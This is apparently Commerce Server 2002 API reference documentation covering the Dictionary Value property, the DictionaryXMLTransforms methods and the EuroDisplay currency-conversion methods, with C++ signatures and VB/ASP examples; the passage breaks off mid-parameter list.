Property Value(
 bstrName As String
) As Variant

Parameters

bstrName [C++]
[in] A BSTR that contains the name of the Dictionary key for which to retrieve a value or put a value.
bstrName [Visual Basic]
A String that contains the name of the Dictionary key for which to retrieve a value or put a value.
Value [C++]
[in] When putting the property, a VARIANT that contains the value to which the element specified by the key bstrName should be initialized.
[out, retval] When getting the property, a pointer to a VARIANT used to return the value of the key specified by the bstrName parameter.
[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details. If successful, this method returns S_OK. Otherwise, it returns an HRESULT indicating failure, and the Value out-value parameter is set to NULL.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] When reading the Value property using the get_Value method, if the key being accessed in the dictionary does not exist, a VARIANT of type VT_NULL is returned. Therefore, to logically delete a key from the dictionary, you can set the value for the key to VT_NULL and then to a client of the dictionary. It is indistinguishable from a key/value pair that does not exist. The Value parameter contains valid data only if the property is accessed successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[C++] When putting a value, use the putref method if you are setting an object reference; use the put method if you are setting a scalar value.

[Visual Basic]

Example

' dDict is a Commerce.Dictionary object
' first_name is a Dictionary key
' v_first_name is a Variant
v_first_name = dDict.value("first_name")
v_first_name = dDict("first_name")

' use this form if the value contains an object reference:
Set oSubObject = dDict("myObjectKey")

' Property syntax
' Note: There is a slight performance penalty for using
' these forms because a special implementation of IDispatch is used
v_first_name = dDict.first_name
' If the key begins with an underscore then use braces around the key name
v_first_name = dDict.[_first_name]

See Also

[C++] Dictionary Object

[Visual Basic] Dictionary Object


DictionaryXMLTransforms Object [C++]

DictionaryXMLTransforms Object [Visual Basic]

Use this object to transform data from a Dictionary object into Extensible Markup Language (XML) and vice-versa, using a specified XML Data Reduced (XDR) schema.

In Commerce Server 2000, the DictionaryXMLTransforms object did not support Dictionary objects that contained SimpleList objects. An example of such a Dictionary object is an OrderForm object. In Commerce Server 2002 Enterprise Edition, the DictionaryXMLTransforms object supports these objects.

ProgID: | Commerce.DictionaryXMLTransforms (Externally creatable)
COM Class Name: | DictionaryXMLTransforms
Type Library Name: | Microsoft Commerce 2002 DictionaryXMLTransform Type Library
DLL Name: | DictionaryXMLTransforms.dll
Threading Model: | Apartment
[C++]
COM Interface Name: | _DictionaryXMLTransforms
Interface ID Constant: | None
Header File: | None

Important

  • The DictionaryXMLTransforms object is only capable of processing dictionary keys with names that would be allowable as XML Node names. Allowable characters include A-Z and the underscore "_" character. Disallowed characters include"*", "\", and so forth, and foreign language characters.
  • Every dictionary key value must be URL-encoded.
[C++]

In C++, use the _DictionaryXMLTransforms interface to access the properties and methods of the DictionaryXMLTransforms object.

Methods

[C++]
Method | Description
GenerateSampleXMLInstanceFromDictionary | Produces an XML instance based on the specified Dictionary or OrderForm object.
GenerateXMLForDictionaryUsingSchema | Extracts an XML instance from the specified Dictionary or OrderForm object that conforms to the specified schema.
GetXMLFromFile | Generates an XML Document Object Model (DOM) document from the specified file.
ReconstructDictionaryFromXML | Transforms the specified XML instance (which must comply with the specified schema) into a Dictionary object. If the schema was originally generated from an OrderForm object, the structure of the regenerated Dictionary object will reflect the OrderForm object.
[Visual Basic]
Method | Description
GenerateSampleXMLInstanceFromDictionary | Produces an XML instance based on the specified Dictionary or OrderForm object.
GenerateXMLForDictionaryUsingSchema | Extracts an XML instance from the specified Dictionary or OrderForm object that conforms to the specified schema.
GetXMLFromFile | Generates an XML Document Object Model (DOM) document from the specified file.
ReconstructDictionaryFromXML | Transforms the specified XML instance (which must comply with the specified schema) into a Dictionary object. If the schema was originally generated from an OrderForm object, the structure of the regenerated Dictionary object will reflect the OrderForm object.

Remarks

The example code that calls this method can be found in the payment.asp and _recvpo.asp files. An example of the use of a XML schema can be found in the POSchema.xml file in the Solution Sites.

The following table lists the datatypes converted using the DictionaryXMLTransform object.

COM Variant Type | XML Data Type | VB function
VT_BSTR | string | string
VT_INT | int | Cint
VT_R8 | float | Cdbl
VT_BOOL | boolean | Cbool
VT_I1 | i1 | Cint
VT_I2 | i2 | Cdbl
VT_UI1 | ui1 | Cint
VT_UI2 | ui2 | Cdbl
VT_R4 | r4 | Cdbl
VT_I4 | i4 | long
Other | else | string

The middle column of the table lists the XML datatypes that can be specified in the XDR Schema for the Dictionary. For example, when generating the following XML using the DictionaryXMLTranform object:

<Items product_catalog="look there" quantity="2"/>

you can specify the data type used used by the property. First, use an XML editor, such as Biztalk Editor, to generate an XDR for the Dictionary. The XDR can be created by selecting the Export Schema option on the Tools menu of BizTalk Editor. By default, code in the XDR would appear similar to the following:

<AttributeType name="quantity" />
<AttributeType name="product_catalog" />

The values in the middle row can be used to set the datatype for the property. For example, to set the data type for the quantity property to int, and the product_catalog property to string, do the following:

  <AttributeType name="quantity" d:type="int" />
  <AttributeType name="product_catalog" d:type="string" />

See Also

General Purpose Objects

[C++] Dictionary Object

[Visual Basic] Dictionary Object


_DictionaryXMLTransforms Methods [C++]

DictionaryXMLTransforms Methods [Visual Basic]

Methods

[C++]
Method | Description
GenerateSampleXMLInstanceFromDictionary | Produces an XML instance based on the specified Dictionary or OrderForm object.
GenerateXMLForDictionaryUsingSchema | Extracts an XML instance from the specified Dictionary or OrderForm object that conforms to the specified schema.
GetXMLFromFile | Generates an XML Document Object Model (DOM) document from the specified file.
ReconstructDictionaryFromXML | Transforms the specified XML instance (which must comply with the specified schema) into a Dictionary object. If the schema was originally generated from an OrderForm object, the structure of the regenerated Dictionary object will reflect the OrderForm object.
[Visual Basic]
Method | Description
GenerateSampleXMLInstanceFromDictionary | Produces an XML instance based on the specified Dictionary or OrderForm object.
GenerateXMLForDictionaryUsingSchema | Extracts an XML instance from the specified Dictionary or OrderForm object that conforms to the specified schema.
GetXMLFromFile | Generates an XML Document Object Model (DOM) document from the specified file.
ReconstructDictionaryFromXML | Transforms the specified XML instance (which must comply with the specified schema) into a Dictionary object. If the schema was originally generated from an OrderForm object, the structure of the regenerated Dictionary object will reflect the OrderForm object.


_DictionaryXMLTransforms::GenerateSampleXMLInstanceFromDictionary Method [C++]

DictionaryXMLTransforms.GenerateSampleXMLInstanceFromDictionary Method [Visual Basic]

Use this method to generate an XML Data Reduced (XDR) schema. This method produces an XML instance based on the specified Dictionary or OrderForm object. You can then import this XML instance into a tool (such as the BizTalk Editor) that can construct a schema based on a given instance.

Definition

[C++]
HRESULT _DictionaryXMLTransforms::GenerateSampleXMLInstanceFromDictionary(
  IDictionary* Dictionary,
  BSTR ElementName,
  VARIANT_BOOL bIgnoreUnderScore,
  IXMLDOMNode** RetValue
);
[Visual Basic]
Function GenerateSampleXMLInstanceFromDictionary(
  Dictionary As Object,
  ElementName As String,
  bIgnoreUnderScore As Boolean
) As Object

Parameters

Dictionary [C++]
[in] A pointer to the IDictionary interface of a Dictionary object that contains the data to convert into XML.
Dictionary [Visual Basic]
A Dictionary object that contains the data to convert into XML.
ElementName [C++]
[in] A BSTR that contains the element name.
ElementName [Visual Basic]
A String that contains the element name.
bIgnoreUnderScore [C++]
[in] A VARIANT_BOOL that specifies whether to ignore dictionary keys with leading underscores in the dictionary. This value should generally be set to True.
bIgnoreUnderScore [Visual Basic]
A Boolean that that specifies whether to ignore dictionary keys with leading underscores in the dictionary. This value should generally be set to True.
RetValue [C++]
[out, retval] The address of the pointer to the IXMLDOMNode interface of the newly created XMLDOMNode object containing the XML instance.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns an object reference used to return the XML instance.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

This method cannot operate on OrderForms that have empty lists if the bIgnoreUnderScore parameter of this method is set to False.

[C++] The RetValue parameter contains valid data only if the method completes successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' oDictionaryXMLTransforms is a Commerce.DictionaryXMLTransforms object
' dDict is a Dictionary object; sElement is a string
' oXMLDOMNode is a XMLDOMNode object
oXMLDOMNode = _
oDictionaryXMLTransforms.GenerateSampleXMLInstanceFromDictionary(dDict, _
    sElement, TRUE)

See Also

[C++] DictionaryXMLTransforms Object

[Visual Basic] DictionaryXMLTransforms Object


_DictionaryXMLTransforms::GenerateXMLForDictionaryUsingSchema Method [C++]

DictionaryXMLTransforms.GenerateXMLForDictionaryUsingSchema Method [Visual Basic]

Use this method to extract an XML instance from the specified Dictionary or OrderForm object that conforms to the specified schema.

Definition

[C++]
HRESULT _DictionaryXMLTransforms::GenerateXMLForDictionaryUsingSchema(
  IDictionary* Dictionary,
  IXMLDOMDocument* xmlSchema,
  IXMLDOMNode** RetValue
);
[Visual Basic]
Function GenerateXMLForDictionaryUsingSchema(
  Dictionary As Object,
  xmlSchema As Object
) As Object

Parameters

Dictionary [C++]
[in] A pointer to the IDictionary interface of the Dictionary object to be converted.
Dictionary [Visual Basic]
A Dictionary object that contains the data to be converted.
xmlSchema [C++]
[in] A reference to the IXMLDOMDocument interface of the XMLDOMDocument object that contains the XML schema.
xmlSchema [Visual Basic]
An XMLDOMDocument object that contains the XML schema.
RetValue [C++]
[out, retval] A pointer to hold the reference to the returned IXMLDOMNode interface of a XMLDOMNode object, which will contain the XML instance.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns an XMLDOMNode object that contains the XML schema.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The RetValue parameter contains valid data only if the method completes successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' oDictionaryXMLTransforms is a Commerce.DictionaryXMLTransforms object
' dDict is a Dictionary object
' oXMLDOMDocument is a XMLDOMDocument object
' oXMLDOMNode is a XMLDOMNode object
oXMLDOMNode = _
oDictionaryXMLTransforms.GenerateXMLForDictionaryUsingSchema(dDict, _
    oXMLDOMDocument)

See Also

[C++] DictionaryXMLTransforms Object

[Visual Basic] DictionaryXMLTransforms Object


_DictionaryXMLTransforms::GetXMLFromFile Method [C++]

DictionaryXMLTransforms.GetXMLFromFile Method [Visual Basic]

Use this method to generate a XML Document Object Model (DOM) document from the specified file.

Definition

[C++]
HRESULT _DictionaryXMLTransforms::GetXMLFromFile(
  BSTR sFileName,
  IXMLDOMDocument** RetValue
);
[Visual Basic]
Function GetXMLFromFile(
  sFileName As String
) As Object

Parameters

sFileName [C++]
[in] A BSTR that contains the name of the file to convert.
sFileName [Visual Basic]
A String that contains the name of the file to convert.
RetValue [C++]
[out, retval] A pointer to hold the reference to the returned IXMLDOMDocument interface of the XMLDOMDocument object, which will contain the converted file data.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns an object reference to an XMLDOMDocument object containing the converted file data.

Error Values

This method does not return an error when the file specified by sFileName is an .exe file, a text file, an invalid XML file, or a non-existent file. The error type can only be found by viewing the ParseError property of the DOMDocument object.

Remarks

[C++] The RetValue parameter contains valid data only if the method completes successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' oDictionaryXMLTransforms is a Commerce.DictionaryXMLTransforms object
' dDict is a Dictionary object; sMyFileName.xml is a string
' oXMLDOMDocument is a XMLDOMDocument object
oXMLDOMDocument = _
    oDictionaryXMLTransforms.GetXMLFromFile("sMyFileName.xml")

See Also

[C++] DictionaryXMLTransforms Object

[Visual Basic] DictionaryXMLTransforms Object


_DictionaryXMLTransforms::ReconstructDictionaryFromXML Method [C++]

DictionaryXMLTransforms.ReconstructDictionaryFromXML Method [Visual Basic]

Use this method to transform the specified XML instance (which must comply with the specified schema) into a Dictionary object. If the schema was originally generated from an OrderForm object, the structure of the regenerated Dictionary object will reflect the OrderForm object.

Definition

[C++]
HRESULT _DictionaryXMLTransforms::ReconstructDictionaryFromXML(
  BSTR szDictionaryXML,
  IXMLDOMDocument* xmlSchema,
  IDictionary** RetValue
);
[Visual Basic]
Function ReconstructDictionaryFromXML(
  szDictionaryXML As String,
  xmlSchema As Object
) As Object

Parameters

szDictionaryXML [C++]
[in] A BSTR that contains the XML instance.
szDictionaryXML [Visual Basic]
A String that contains the XML instance.
xmlSchema [C++]
[in] A reference to the IXMLDOMDocument interface of the XMLDOMDocument object that contains the XML schema used in the conversion.
xmlSchema [Visual Basic]
An object reference to a XMLDOMDocument object that contains the XML schema.
RetValue [C++]
[out, retval] The address of a pointer to receive an IDictionary interface of the reconstructed Dictionary object.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns an object reference to a Dictionary object that contains the converted data.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The RetValue parameter contains valid data only if the method completes successfully.

This method performs the inverse operation of the GenerateXMLForDictionaryUsingSchema method.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' oDictionaryXMLTransforms is a Commerce.DictionaryXMLTransforms object
' dDict is a Dictionary object; sMyXMLInstance is a string
' oXMLDOMDocument is a XMLDOMDocument object
dDict = _
oDictionaryXMLTransforms.ReconstructDictionaryFromXML(sMyXMLInstance, _
    oXMLDOMDocument)

See Also

[C++] DictionaryXMLTransforms Object

[Visual Basic] DictionaryXMLTransforms Object


EuroDisplay Object [C++]

EuroDisplay Object [Visual Basic]

Use this object to convert and format currency amounts where multiple currencies must be displayed.

ProgID: | Commerce.EuroDisplay (Externally creatable)
COM Class Name: | EuroDisplay
Type Library Name: | Microsoft Commerce 2002 Euro Display Component Type Library
DLL Name: | EuroDisp.dll
Threading Model: | Both
[C++]
COM Interface Name: | IEuroDisplay
Interface ID Constant: | None
Header File: | None
[C++]

In C++, use the IEuroDisplay interface to access the properties and methods of the EuroDisplay object.

Because this object is primarily intended for use within ASP script, access from C++ will not be common.

Methods

[C++]
Method | Description
ConvertAltStringToCurr | Converts a string representation of a monetary value in the currency specified by the alternate locale identifier to a currency VARIANT.
ConvertBaseStringToCurr | Converts a string representation of a monetary value in the currency specified by the base locale identifier to a currency VARIANT.
ConvertMoney | Converts the specified currency VARIANT (representing a monetary value in the base currency) to a currency VARIANT representing a monetary value in the alternate currency, using the initialized conversion rate.
FormatAltMoney | Creates a string representation of a currency VARIANT, based on the alternate locale identifier and the alternate currency symbol string.
FormatBaseMoney | Creates a string representation of a currency VARIANT, based on the base locale identifier and the base currency symbol string.
Initialize | Initializes the object with the specified alternate currency symbol, base currency symbol, alternate locale identifier, base locale identifier, and conversion rate.
[Visual Basic]
Method | Description
ConvertAltStringToCurr | Converts a string representation of a monetary value in the currency specified by the alternate locale identifier to a currency Variant.
ConvertBaseStringToCurr | Converts a string representation of a monetary value in the currency specified by the base locale identifier to a currency Variant.
ConvertMoney | Converts the specified currency Variant (representing a monetary value in the base currency) to a currency Variant representing a monetary value in the alternate currency, using the initialized conversion rate.
FormatAltMoney | Creates a string representation of a currency Variant, based on the alternate locale identifier and the alternate currency symbol string.
FormatBaseMoney | Creates a string representation of a currency Variant, based on the base locale identifier and the base currency symbol string.
Initialize | Initializes the object with the specified alternate currency symbol, base currency symbol, alternate locale identifier, base locale identifier, and conversion rate.


IEuroDisplay Methods [C++]

EuroDisplay Methods [Visual Basic]

Methods

[C++]
Method | Description
ConvertAltStringToCurr | Converts a string representation of a monetary value in the currency specified by the alternate locale identifier to a currency VARIANT.
ConvertBaseStringToCurr | Converts a string representation of a monetary value in the currency specified by the base locale identifier to a currency VARIANT.
ConvertMoney | Converts the specified currency VARIANT (representing a monetary value in the base currency) to a currency VARIANT representing a monetary value in the alternate currency, using the initialized conversion rate.
FormatAltMoney | Creates a string representation of a currency VARIANT, based on the alternate locale identifier and the alternate currency symbol string.
FormatBaseMoney | Creates a string representation of a currency VARIANT, based on the base locale identifier and the base currency symbol string.
Initialize | Initializes the object with the specified alternate currency symbol, base currency symbol, alternate locale identifier, base locale identifier, and conversion rate.
[Visual Basic]
Method | Description
ConvertAltStringToCurr | Converts a string representation of a monetary value in the currency specified by the alternate locale identifier to a currency Variant.
ConvertBaseStringToCurr | Converts a string representation of a monetary value in the currency specified by the base locale identifier to a currency Variant.
ConvertMoney | Converts the specified currency Variant (representing a monetary value in the base currency) to a currency Variant representing a monetary value in the alternate currency, using the initialized conversion rate.
FormatAltMoney | Creates a string representation of a currency Variant, based on the alternate locale identifier and the alternate currency symbol string.
FormatBaseMoney | Creates a string representation of a currency Variant, based on the base locale identifier and the base currency symbol string.
Initialize | Initializes the object with the specified alternate currency symbol, base currency symbol, alternate locale identifier, base locale identifier, and conversion rate.


IEuroDisplay::ConvertAltStringToCurr Method [C++]

EuroDisplay.ConvertAltStringToCurr Method [Visual Basic]

Use this method to convert a string representation of a monetary value in the currency specified by the alternate locale identifier to a currency Variant.

Definition

[C++]
HRESULT IEuroDisplay::ConvertAltStringToCurr(
  VARIANT vtMoneyString,
  VARIANT* pvarNumber
);
[Visual Basic]
Function ConvertAltStringToCurr(
  vtMoneyString As Variant
) As Variant

Parameters

vtMoneyString [C++]
[in] A VARIANT that contains the currency string to convert.
vtMoneyString [Visual Basic]
A Variant that contains the currency string to convert.
pvarNumber [C++]
[out, retval] A pointer to a currency VARIANT used to return the converted currency information.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a currency Variant that contains the converted currency information.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The pvarNumber parameter points to valid data only if the method returns successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' oEuroDisp is a Commerce.EuroDisplay object
' vResult is a Variant
vResult = oEuroDisp.ConvertAltStringToCurr("23,444.53886")
' In the preceding example, the variable vResult is
' internally rounded to 23444.5389

See Also

[C++] EuroDisplay Object

[C++] IEuroDisplay::ConvertBaseStringToCurr

[C++] IEuroDisplay::FormatAltMoney

[Visual Basic] EuroDisplay Object

[Visual Basic] EuroDisplay.ConvertBaseStringToCurr

[Visual Basic] EuroDisplay.FormatAltMoney


IEuroDisplay::ConvertBaseStringToCurr Method [C++]

EuroDisplay.ConvertBaseStringToCurr Method [Visual Basic]

Use this method to convert a string representation of a monetary value in the currency specified by the base locale identifier to a currency Variant.

Definition

[C++]
HRESULT IEuroDisplay::ConvertBaseStringToCurr(
  VARIANT vtMoneyString,
  VARIANT* pvarNumber
);
[Visual Basic]
Function ConvertBaseStringToCurr(
  vtMoneyString As Variant
) As Variant

Parameters

vtMoneyString [C++]
[in] A VARIANT that contains the currency string to convert.
vtMoneyString [Visual Basic]
A Variant that contains the currency string to convert.
pvarNumber [C++]
[out, retval] A pointer to a currency VARIANT used to return the converted currency information.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a currency Variant that contains the converted currency information.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The pvarNumber parameter points to valid data only if the method returns successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' oEuroDisp is a Commerce.EuroDisplay object
' vResult is a Variant
vResult = oEuroDisp.ConvertBaseStringToCurr("99,333.53886")
' In the preceding example, the variable vResult is
' internally rounded to 99333.5389

See Also

[C++] EuroDisplay Object

[C++] IEuroDisplay::ConvertAltStringToCurr

[C++] IEuroDisplay::FormatBaseMoney

[Visual Basic] EuroDisplay Object

[Visual Basic] EuroDisplay.ConvertAltStringToCurr

[Visual Basic] EuroDisplay.FormatBaseMoney


IEuroDisplay::ConvertMoney Method [C++]

EuroDisplay.ConvertMoney Method [Visual Basic]

Use this method to convert the specified currency Variant (representing a monetary value in the base currency) to a currency Variant representing a monetary value in the alternate currency, using the initialized conversion rate.

Definition

[C++]
HRESULT IEuroDisplay::ConvertMoney(
  VARIANT vtCurrVal,
  VARIANT* pvarConvVal
);
[Visual Basic]
Function ConvertMoney(
  vtCurrVal As Variant
) As Variant

Parameters

vtCurrVal [C++]
[in] A currency VARIANT representing a monetary value in the base currency.
vtCurrVal [Visual Basic]
A Variant that contains the monetary value in the base currency.
pvarConvVal [C++]
[out, retval] A pointer to a currency VARIANT representing a monetary value in the alternate currency.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a currency Variant representing a monetary value in the alternate currency.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The pvarConvVal parameter points to valid data only if the method returns successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

<%
Dim Result
Set MSCSEuroDisplay= Server.CreateObject("Commerce.EuroDisplay")
MSCSEuroDisplay.Initialize "$$",1033,"FF",1036, 2
Result = MSCSEuroDisplay.ConvertMoney(100)
Response.Write "Converted $100 from $ to F ($1 = 2F) : " & Result & "<P>"
%>

See Also

[C++] EuroDisplay Object

[Visual Basic] EuroDisplay Object


IEuroDisplay::FormatAltMoney Method [C++]

EuroDisplay.FormatAltMoney Method [Visual Basic]

Use this method to create a string representation of a currency Variant, based on the alternate locale identifier and the alternate currency symbol string.

Definition

[C++]
HRESULT IEuroDisplay::FormatAltMoney(
  VARIANT vtConvMoney,
  BSTR* szAltMoney
);
[Visual Basic]
Function FormatAltMoney(
  vtConvMoney As Variant
) As String

Parameters

vtConvMoney [C++]
[in] A currency VARIANT that contains the monetary value to convert.
vtConvMoney [Visual Basic]
A currency Variant that contains the monetary value to convert.
szAltMoney [C++]
[out, retval] A pointer to a BSTR used to return the string representation of the specified currency VARIANT.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a String that contains the string representation of the specified currency Variant.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The szAltMoney parameter points to valid data only if the method returns successfully.

The correct display of decimal places is dependent upon registry settings. For example, to ensure that 2 decimal places are displayed as in $ 1.08, in the Registry editor, you must ensure that the HKEY_USERS\DEFAULT\Control Panel\International\iCurrDigits value is set to 2.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' oEuroDisp is a Commerce.EuroDisplay object
' vTest is a Currency Variant
' vResult is a String
vTest = "$ 20.00"
vResult = oEuroDisp.FormatAltMoney (vTest)
' In the preceding example, if the Alt Currency symbol string
' is "$" and the Alt locale identifier is 1033, vResult will
' contain the string, "$ 20.00"

See Also

[C++] EuroDisplay Object

[C++] IEuroDisplay::ConvertAltStringToCurr

[C++] IEuroDisplay::FormatBaseMoney

[Visual Basic] EuroDisplay Object

[Visual Basic] EuroDisplay.ConvertAltStringToCurr

[Visual Basic] EuroDisplay.FormatBaseMoney


IEuroDisplay::FormatBaseMoney Method [C++]

EuroDisplay.FormatBaseMoney Method [Visual Basic]

Use this method to create a string representation of a currency Variant, based on the base locale identifier and the base currency symbol string.

Definition

[C++]
HRESULT IEuroDisplay::FormatBaseMoney(
  VARIANT vtConvMoney,
  BSTR* szBaseMoney
);
[Visual Basic]
Function FormatBaseMoney(
  vtConvMoney As Variant
) As String

Parameters

vtConvMoney [C++]
[in] A currency VARIANT that contains the monetary value to convert.
vtConvMoney [Visual Basic]
A currency Variant that contains the monetary value to convert.
szBaseMoney [C++]
[out, retval] A BSTR used to return the string representation of the specified currency VARIANT.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a String that contains the string representation of the specified currency Variant.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The szBaseMoney parameter contains valid data only if the method returns successfully.

The correct display of decimal places is dependent upon registry settings. For example, to ensure that 2 decimal places are displayed as in $ 1.08, in the Registry editor, you must ensure that the HKEY_USERS\DEFAULT\Control Panel\International\iCurrDigits value is set to 2.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' oEuroDisp is a Commerce.EuroDisplay object
' vTest is a Currency Variant
' vResult is a String
vTest = "$ 40.08"
vResult = oEuroDisp.FormatBaseMoney (vTest)
' In the preceding example, if the Base Currency symbol string
' is "$" and the Base locale identifier is 1033, vResult will
' contain the string, "$ 40.08"

See Also

[C++] EuroDisplay Object

[C++] IEuroDisplay::ConvertBaseStringToCurr

[C++] IEuroDisplay::FormatAltMoney

[Visual Basic] EuroDisplay Object

[Visual Basic] EuroDisplay.ConvertBaseStringToCurr

[Visual Basic] EuroDisplay.FormatAltMoney


IEuroDisplay::Initialize Method [C++]

EuroDisplay.Initialize Method [Visual Basic]

Use this method to initialize the object with the specified alternate currency symbol, base currency symbol, alternate locale identifier, base locale identifier, and conversion rate.

Definition

[C++]
HRESULT IEuroDisplay::Initialize(
  BSTR szBaseCurr,
  long lBaseLCID,
  BSTR szAltCurr,
  long lAltLCID,
  double flEuroConvRate
);
[Visual Basic]
Sub Initialize(
  szBaseCurr As String,
  lBaseLCID As Long,
  szAltCurr As String,
  lAltLCID As Long,
  flEuroConvRate As Double
)

Parameters

szBaseCurr [C++]
[in] A BSTR that contains the base currency symbol string.
szBaseCurr [Visual Basic]
A String that contains the base currency symbol string.
lBaseLCID [C++]
[in] A long that contains the base locale identifier.
lBaseLCID [Visual Basic]
A Long that contains the base locale identifier.
szAltCurr [C++]
[in] A BSTR that contains the alternate currency symbol string.
szAltCurr [Visual Basic]
A String that contains the alternate currency symbol string.
lAltLCID [C++]
[in] A long that contains the alternate locale identifier.
lAltLCID [Visual Basic]
A Long that contains the alternate locale identifier.
flEuroConvRate [C++]
[in] A double (8-byte floating point number) that contains the rate at which to convert the base currency into the alternate currency. For example, if the base currency is Swiss Francs which are exchanged at a rate of 1 SF = 0.63 Euros, and the alternate currency is Euro, then this parameter will have a value of 0.63.
flEuroConvRate [Visual Basic]
